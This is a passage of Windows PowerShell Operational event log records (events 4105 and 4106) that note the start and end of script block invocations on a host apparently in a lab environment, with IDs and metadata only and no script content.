09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038004
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038003
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037998
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037997
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037975
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037974
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037973
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037972
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
